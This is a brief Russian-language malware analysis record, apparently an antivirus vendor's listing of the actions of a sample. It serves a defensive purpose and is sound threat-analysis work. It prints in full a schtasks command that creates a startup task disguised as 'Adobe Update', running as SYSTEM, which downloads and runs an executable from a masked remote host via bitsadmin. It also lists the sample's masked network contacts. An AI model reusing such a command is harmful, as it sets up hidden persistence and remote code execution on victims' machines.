Техническая информация
- %WINDIR%\Tasks\Adobe Update.job
- '<SYSTEM32>\schtasks.exe' /CREATE /SC onstart /TN "Adobe Update" /TR "cmd /c ping -n 900 127.0.0.1 &bitsadmin /transfer My /Download http://www.l1##.com/opt.exe %TEMP%\opt.exe &%TEMP%\opt.exe" /ru SYSTEM
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Adobe Update" /F
- 'pa#####.kinghost.net':80
- pa#####.kinghost.net/default.asp?Ty#################################################################################################################################################################
- DNS ASK pa#####.kinghost.net
- ClassName: 'MS_WINHELP' WindowName: ''